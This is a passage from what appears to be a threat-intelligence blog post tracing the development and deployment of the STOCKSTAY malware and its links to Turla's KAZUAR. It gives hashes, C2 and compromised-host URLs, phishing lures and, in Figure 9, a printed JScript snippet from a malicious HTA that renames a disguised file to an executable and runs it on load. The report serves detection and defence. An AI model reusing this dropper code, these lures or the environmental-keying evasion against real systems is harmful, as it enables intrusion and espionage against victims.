<p><span>In June 2025 GTIG noticed K1MORPHER code appearing in samples of KAZUAR. KAZUAR has historically used its own simple but effective code and string obfuscation techniques to evade detection, such as: the insertion of junk code; replacing static constant values with the results of XOR operations; and large quantities of unique character substitution tables. The actor’s use of K1MORPHER within STOCKSTAY appears to be trending toward mimicking KAZUAR’s multi-class obfuscation techniques, where obfuscation is handled by multiple distinct classes, as observed in suspected test builds of STOCKSTAY hosted on a compromised Cypriot website in April 2024.</span></p>
<h4><span>Implant Architecture</span><span> </span></h4>
<p><span>Since at least 2024, KAZUAR has been observed being deployed using a multi-component architecture, whereby C2 communication, task orchestration, and task execution are managed by separate components. Within the KAZUAR ecosystem, these components are referred to as “BRIDGE”, “KERNEL”, and “WORKER”, respectively.</span></p>
<p><span>As of late 2023, GTIG identified a similar separation of responsibilities within the STOCKSTAY ecosystem, with the same responsibilities being separated into distinct components. C2 communication is managed by the component tracked by GTIG as STOCKSTAY.STOCKBROKER, while task orchestration and execution are handled by STOCKSTAY.STOCKMARKET and STOCKSTAY.STOCKTRADER, respectively.</span></p>
<h4><span>Environmental Keying</span></h4>
<p><span>Both KAZUAR and STOCKSTAY ecosystems have been observed using environmental keying to protect themselves from detection and analysis.</span></p>
<p><span>DIAMONDBACK, a dropper often deployed prior to KAZUAR in the execution chain, has made use of a hash of the target’s hostname in decrypting its payload, to prevent divulgence of its intentions outside of the target environment. Later versions of DIAMONDBACK can be configured to incorporate the target’s username and domain name in the hash required to decrypt the payload.</span></p>
<p><span>STOCKSTAY has been observed using the hash of the target’s hostname or domain name during the decryption of its configuration data, preventing disclosure of C2 infrastructure unless operating in the intended environment.</span></p>
<h4><span>Summary of Overlaps</span></h4>
<p><span>GTIG assesses with moderate confidence that STOCKSTAY and KAZUAR may be developed in-part by a common developer or team, with active development occurring in tandem between the two malware ecosystems. We believe that STOCKSTAY is being developed in KAZUAR’s image, with several design decisions likely spawning from the threat actor’s wealth of experience in conducting operations using this long-standing toolkit. Both ecosystems rely heavily on .NET development, and have been observed using compromised WordPress sites during various stages of their operations.</span></p>
<p><span>We assess with low confidence that our observations of STOCKSTAY being deployed alongside KAZUAR during active operations may be a result of the threat actor seeking to test new capabilities in active operations, particularly where they may be expecting their existing access to be remediated in the near future. </span></p>
<h3><span>STOCKSTAY Timeline</span></h3>
<p><span>GTIG has conducted a thorough investigation into the history of STOCKSTAY, identifying suspected development activity as far back as December 2022. What follows is our assessment of the timeline of events surrounding STOCKSTAY’s development and deployment. To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) within each observed operation section, and in a </span><a href="https://www.virustotal.com/gui/collection/ed88a43801b5c58b9be27fa74abaa278a48904f3cc1bc905f2d85e32448b96c5/iocs" rel="noopener" target="_blank"><span>GTI Collection</span></a><span> for registered users.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig5.max-1000x1000.png" alt="Timeline of STOCKSTAY observations">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="qw6cr">Figure 5: Timeline of STOCKSTAY observations</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h4><span>December 2022</span></h4>
<p><span>The version of the open-source websocket-sharp.dll bundled with the majority of observed STOCKSTAY.STOCKBROKER samples was last modified, according to timestamp information in MSI files and ZIP archives containing STOCKSTAY. Although built from an open-source library, this specific instance appears to have been compiled by the actor themselves, thus creating a uniquely identifiable artifact with which to track this malware’s continuous development.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>websocket-sharp.dll</code></p>
</td>
<td>
<p><span>Instance of open-source library used by the threat actor</span></p>
</td>
<td>
<p><code>d1e54270433a94aa3d45d888e4c62299bee3480eb2cb4a5489c7dda69d476c3e</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 5: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>September 21, 2023: Germany</span></h4>
<p><span>An early version of STOCKSTAY was uploaded to VirusTotal from Germany, under the filename “DriversPrinterGraphic.rar”. From the archive’s timestamps, it appears as though the sample was submitted within 20 minutes of being created, likely indicating this was submitted by the malware’s developer.</span></p>
<p><span>This version predates the malware’s separation into distinct role-based components, instead incorporating all core functionality into a single executable: StockMarketNews.exe. Additionally, this version of STOCKSTAY contained the user interface shown in Figure 6, which enables viewing/editing of configuration options and command messages, while still presenting as a stock market utility.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig6.max-1000x1000.png" alt="Early STOCKSTAY user-interface">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="qw6cr">Figure 6: Early STOCKSTAY user-interface</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>This particular STOCKSTAY sample uses a slightly different configuration file format; however, the underlying configuration options are consistent with later versions. This sample also utilizes environmental keying for its configuration file; using the lower-cased hostname of the intended target as the decryption password. GTIG has been unable to recover the password at this time.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>DriversPrinterGraphic.rar</code></p>
</td>
<td>
<p><span>RAR archive containing STOCKSTAY</span></p>
</td>
<td>
<p><code>e6d8192960a89d5480868b94088cccdaa1560f9c8a0b0282ced2b7c1f72341b6</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketNews.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY combined executable</span></p>
</td>
<td>
<p><code>1fc23ec18a94a599a34c74ef5f49a1e27acd37a07d5846661702b5e7e81a6a24</code></p>
</td>
</tr>
<tr>
<td>
<p><code>sample.conf</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>1a2ca8b8e0344fe3d80da7352206a470245443e2349a237bc093df934ddc011f</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 6: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>December 5 – 6, 2023: Netherlands</span></h4>
<p><span>A further RAR archive containing STOCKSTAY was submitted to VirusTotal at 2023-12-06 08:52:49 from the Netherlands, under the filename “apps_libwallets_v1.3.rar”. This archive was last modified the previous day at 2023-12-05 16:47:42. This pattern may indicate that the archive was created by the individual at the end of their working day, and then submitted the following day when they returned to the office.</span></p>
<p><span>This instance of STOCKSTAY was the first case observed by GTIG of the malware’s core functionality being separated into distinct role-based components, using the filenames shown in Table 7.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Component</strong></p>
</td>
<td>
<p><strong>Filename</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKMARKET</span></p>
</td>
<td>
<p><span>StockMarketView.exe</span></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKBROKER</span></p>
</td>
<td>
<p><span>StockMarketNet.exe</span></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKTRADER</span></p>
</td>
<td>
<p><span>StockMarketSystem.exe</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 7: STOCKSTAY component filenames observed in December 2023</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><p><span>Similar to the sample observed in September 2023, this instance of STOCKSTAY also used environmental keying, however this instance used the target computer’s domain name as the configuration password. GTIG has been unable to recover the password at this time.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>apps_libwallets_v1.3.rar</code></p>
</td>
<td>
<p><span>RAR archive containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>81aabf646619ea5f4a72457cd3aa17c5988003d67e6454f45e7cb33613021bac</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketView.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>9164054d0bf0b7c8820da4f742860940998984555e65820e4fa8dd07b6bd67ec</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>34fcbe7e90fc87a4f3766469c19a64f24672d7adb99e0198f5ba10d58911368b</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketSystem.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>0a545dd1b703cddfb3d582c8c70f65f556bbd580bfa836a387121eb837bda61b</code></p>
</td>
</tr>
<tr>
<td>
<p><code>default.conf</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>2623c6e3c1f5a7b5e735a64813bc0e1382ae45831f5fadffb08c0e7b096627f7</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 8: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>January 2024: Ukraine</span></h4>
<p><span>GTIG conducted a review of an incident response conducted by Mandiant relating to a late-2023 compromise of a Ukrainian organization, in which we observed Turla deploying a wide range of tools into the victim’s network, including WILDDAY, DIAMONDBACK and KAZUAR, via malicious GPO installation from a compromised domain controller. This activity was accompanied by other simple scripts and backdoors to deploy malware across multiple machines in the infected organization. </span></p>
<p><span>During the review, GTIG identified evidence of STOCKSTAY execution on one of the hosts impacted by the infected domain controller. Multiple ZIP archives, each containing one of the core components of STOCKSTAY or its configuration, were uploaded to the domain controller. The files were found in a directory used for staging registry files used to install WILDDAY both prior to and after STOCKSTAY appeared on the host, as well as for staging output from an otherwise unknown Powershell backdoor (iclsClient.ps1) which was also observed running from the domain controller.</span></p>
<p><span>During this operation, an initial STOCKSTAY configuration file was deployed to the domain controller alongside the STOCKSTAY core component executables, however this file was not able to be decrypted using any known passwords or environmental identifiers. A short while later, Mandiant observed a second configuration file being deployed to the domain controller, this time encrypted using the domain name associated with the compromised network. GTIG assesses with moderate confidence that the deployment of the initial configuration file was either a mistake by the threat actor - perhaps deploying a configuration file associated with a different victim - or the result of a default or invalid configuration file being bundled with STOCKSTAY during initial deployment to prevent sensitive C2 details from being captured in the event of early detection of the malware in the victim’s environment.  </span></p>
<p><span>The successfully decrypted configuration defined a STOCKSTAY WebSocket C2 URL of </span><code>wss://wool-basalt-clock.glitch.me/ws</code><span>. Additionally, the configuration specified an operational time-frame of Monday to Friday between the hours of 0900 and 1800 on the victim's system. This time-based restriction is likely intended to blend C2 communications with normal business operations in the victim's network. This same time-frame has been observed in a majority of STOCKSTAY configuration files analyzed by GTIG.</span></p>
<p><span>Of particular note, toward the end of this operation, Mandiant identified firewall detections relating to one of KAZUAR’s C2 endpoints. GTIG assesses, with low to moderate confidence, that the threat actor could have been aware of the suspicion surrounding its C2 and deployed STOCKSTAY as a failsafe in case KAZUAR was identified and remediated, thus enabling reinfection at a later date, in the event that STOCKSTAY remained undetected.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://wool-basalt-clock.glitch.me/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 9: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>February 2024: Italy</span></h4>
<p><span>An MSI file configured to install STOCKSTAY was uploaded to VirusTotal at 2024-02-20 11:45:26 from Italy, under the filename “Copia.msi”. The MSI masqueraded as the </span><span>ILSpy application developed by ICSharpCodeTeam, and contained a large number of legitimate benign components. The MSI installed the core STOCKSTAY components under </span><code>%LOCALAPPDATA%/Programs/SMN/</code><span>, and enabled persistent execution via registry run keys. </span></p>
<p><span>The STOCKSTAY samples contained in the MSI were compiled between January 29 and January 31, 2024, with the configuration file last being modified on February 13, 2024, just a week before being submitted to VirusTotal.</span></p>
<p><span>In addition to the installation of STOCKSTAY, the MSI file contains a custom MSI action named “OpenUrl”. This action has the sequence number 1 in the InstallUISequence table, indicating it should be executed before any other actions. The custom action is configured to execute the following command:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>viewer.exe
https://circoloesteri.elezioni.idnet.it/admin-election/riepilogo.php</code></pre></div>
<div class="block-paragraph_advanced"><p><span>When viewed, the URL contains references to elections (“elezioni”) and the Italian organization “Circolo Degli Esteri”, which according to their official website (</span><a href="https://www.circoloesteri.it/" rel="noopener" target="_blank"><span>https://www.circoloesteri.it/</span></a><span>), was founded to “represent the Ministry of Foreign Affairs”. We do not currently assess that the actor was directly targeting Italian elections, and was instead using elections-related phishing lures to target victims. Due to limited visibility, we have been unable to identify any earlier stages of this particular operation, and cannot confirm the identity of the intended targets of any potential related phishing campaigns.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>Foreign Affairs Club 1936

Approval of the 2023 Financial Statement

Analysis of the status of those registered to vote (automatically updates every 60 seconds)...
update 6:26:50

Total Voters: 915
Currently registered members with 2-tonte status: 364
Currently registered with status 4 Ready to vote: 5
Currently registered with status 3 - Voted 46
Voter turnout (votes cast on registered voters): 5.03%</code></pre></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig7.max-1000x1000.png" alt="Italian-language decoy claiming to relate to Italy’s Circolo Degli Esteri">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ugoq7">Figure 7: Italian-language decoy claiming to relate to Italy’s Circolo Degli Esteri</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>Although inconclusive, this appears to indicate an intention to deploy STOCKSTAY against Italian-speaking individuals or organizations, specifically with a focus on foreign affairs.</span></p>
<p><span>In following with previous STOCKSTAY instances, this sample utilized environmental keying for its configuration file. GTIG was able to recover the domain name used to decrypt the configuration file in order to identify the WebSocket C2 address </span><code>wss://wool-basalt-clock.glitch.me/ws</code><span>. This matches the C2 address used in January 2024.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>Copia.msi</code></p>
</td>
<td>
<p><span>MSI containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>b064a3efb04ed77e6c57955089ce639e193d166c8ea2216c98c3e9b701ea2cff</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketView.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>249a4c7cacdd8e99a2a089a5c0ce904f2eff22e0e40fcfb10f7824dca6c51ecb</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketSystem.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>b728eba4f0d6d16602fbad05a591f14391594262d3584b2e249e97f86e4dcc5a</code></p>
</td>
</tr>
<tr>
<td>
<p><code>default.conf</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>40b1208dda0cd5dd95c6b57764b2cfe7145b3ed9457f498408b4aaa05bf3ef50</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 10: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>https://circoloesteri.elezioni.idnet.it/admin-election/riepilogo.php</code></p>
</td>
<td>
<p><span>Italian language lure relating to voting on matters related to the Italian Ministry of Foreign Affairs.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://wool-basalt-clock.glitch.me/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 11: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>March 18 – April 3, 2025: Ukraine</span></h4>
<p><span>On April 2, 2025, GTIG identified a compromised email account sending a phishing email containing a message purporting to originate from a Ukrainian university, relating to the testing of a new distance learning environment. The threat actor attached a malicious Remote Desktop Protocol (RDP) file to the email, which upon opening resulted in a connection being established between the victim and an open RDP port (3389) hosted on the actor-registered domain chosen to imitate the same academic institution. </span></p>
<p><span>Once the victim connected to the actor's infrastructure, GTIG observed the actor deploying STOCKSTAY.MARKETMAKER to the client. STOCKSTAY.MARKETMAKER was configured to download a ZIP containing STOCKSTAY from a legitimate but compromised website belonging to the State Regulatory Service of Ukraine. In contrast to the majority of earlier observations, the configuration file observed during this operation was protected with a hard-coded password. This appears to correspond with this particular operation’s focus on initial access to a victim’s environment via spear-phishing, through which the specific domain or host name may not be known to the threat actor, and thus cannot be used for environmental keying. GTIG was able to identify the malware using the WebSocket C2 URL </span><code>wss://weatherdataai.theworkpc.com/ws</code><span>.</span></p>
<p><span>According to the metadata associated with the ZIP archive downloaded by STOCKSTAY.MARKETMAKER, the core STOCKSTAY components used during this operation were last modified between March 18 – 26, with the configuration file last being modified on March <span>31</span>.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>MicrosoftUpdateOneDrive.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.MARKETMAKER Downloader</span></p>
</td>
<td>
<p><code>da8a96bc74e265f945f1cc6992c6dc0f9ea36ed1991f7b8d312db79d9bf78c40</code></p>
</td>
</tr>
<tr>
<td>
<p><code>docs.zip</code></p>
</td>
<td>
<p><span>ZIP archive containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>9fe944147c15a87963b06baf6473288d64c23655a0ba9369c35566272d8efc73</code></p>
</td>
</tr>
<tr>
<td>
<p><code>SMEditor.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>e1d16fb635060d23e889b0617d77f0cf06d00cc19b43a2c8b5ac53ac027ac722</code></p>
</td>
</tr>
<tr>
<td>
<p><code>SMNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketView.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>2af7b513c05e76d7da5f75bb0a223c894a706c99ef2c2ddfe4eae542f95a08e0</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>40a3b969d81ef1ef35dd9ebcc6774e060b1b8949d3d74f38ca6b7d789c95cdb3</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 12: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>https://www.drs.gov.ua/wp-content/themes/twentytwentyfive/docs.zip</code></p>
</td>
<td>
<p><span>Compromised State Regulatory Service of Ukraine infrastructure serving ZIP archive containing STOCKSTAY components</span></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://weatherdataai.theworkpc.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 13: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>May 14, 2025: Poland</span></h4>
<p><span>GTIG identified two samples of STOCKSTAY.STOCKBROKER being uploaded to VirusTotal on May </span>14, 2025 from Poland. </p>
<p><span>The first sample, named “ClientMNGR2.exe”, matched previously observed versions, however the second sample, named “GR3.exe”, was heavily obfuscated using large quantities of junk code, and a previously unknown string obfuscation mechanism. GTIG tracks this obfuscation mechanism as K1MORPHER, and we have since observed its inclusion in all core STOCKSTAY components, and within select samples of KAZUAR; increasing our confidence that STOCKSTAY exists within the same development ecosystem as other malware leveraged by Turla.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>ClientMNGR2.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler obfuscated with K1MORPHER</span></p>
</td>
<td>
<p><code>d3fd32f915c239872c9e7ed9408b1f36dfcef03aa68f9a396d05c437667cdb43</code></p>
</td>
</tr>
<tr>
<td>
<p><code>GR3.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler obfuscated with K1MORPHER</span></p>
</td>
<td>
<p><code>98ce3c6e4dd05887ea619f2bbfeb2e2c2805ed07e85e119b79b828b7ef8be397</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 14: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>May 28 – August 8, 2025: Ukraine </span><span>— </span><span>Deployment via Malicious HTA</span></h4>
<p><span>On August 8, 2025, GTIG identified a RAR archive, “calculator.rar”, being submitted to VirusTotal. The archive had been hosted on compromised infrastructure belonging to a Ukrainian IT company since at least July 22, 2025. The archive contained a malicious HTA file named “Калькулятор грошового забезпечення військовослужбовців 2025.hta” (translation: "Military personnel cash benefit calculator 2025.hta"). The HTA was designed to execute a variant of the STOCKSTAY.MARKETMAKER downloader, which was also included in the archive, using the code shown in Figure 9.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig8.max-1000x1000.png" alt="Lure HTML page displayed by Калькулятор грошового забезпечення військовослужбовців 2025.hta">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="j8j2f">Figure 8: Lure HTML page displayed by Калькулятор грошового забезпечення військовослужбовців 2025.hta</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>&lt;script language="JScript"&gt;
  function renameAndRunFile() {
    try {
      var oldName = "calculator_2025_files\\styles.dat";
      var newName = "calculator_2025_files\\styles.dat.exe";

      var fso = new ActiveXObject("Scripting.FileSystemObject");

      if (fso.FileExists(oldName)) {
        if (fso.FileExists(newName)) {
          fso.DeleteFile(newName);
        }
        fso.MoveFile(oldName, newName);

        var shell = new ActiveXObject("WScript.Shell");
        shell.Run('"' + newName + '"', 1, false);
      } else {
      }

    } catch (e) {
    }
  }

window.onload = function() {
  renameAndRunFile();
};
&lt;/script&gt;</code></pre>
<p><span><span>Figure 9: JavaScript code contained in Калькулятор грошового забезпечення військовослужбовців 2025.hta</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>The STOCKSTAY.MARKETMAKER variant retrieved a ZIP archive, “EditorToolsPdf.zip”, containing the core STOCKSTAY components from a second compromised server located in Ukraine, this time hosting the archive within a compromised WordPress instance. </span></p>
<p><span>Analysis of the modification timestamps within the military calculator lure archive show that this operation dated as far back as May <span>28,</span> 2025, when the majority of the contents of the “calculator_2025_files” folder were last modified. The STOCKSTAY.MARKETMAKER executable was last modified on June 5, 2025, and the malicious HTA file was modified on June 10, 2025. </span></p>
<p><span>Similar examination of the STOCKSTAY archive shows the configuration file being modified on June 4, 2025, while the archive itself was last modified on the compromised server on June 5, 2025. This series of events shows that the complete STOCKSTAY ZIP archive was staged on the compromised infrastructure while modifications were being made to the initial phishing lures.</span></p>
<p><span>GTIG has been able to confirm via a trusted third party that the original compromise of the Ukrainian server used to host the STOCKSTAY archive occurred on or before May <span>13,</span> 2025.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>calculator.rar</code></p>
</td>
<td>
<p><span>RAR archive containing STOCKSTAY components</span></p>
</td>
<td>
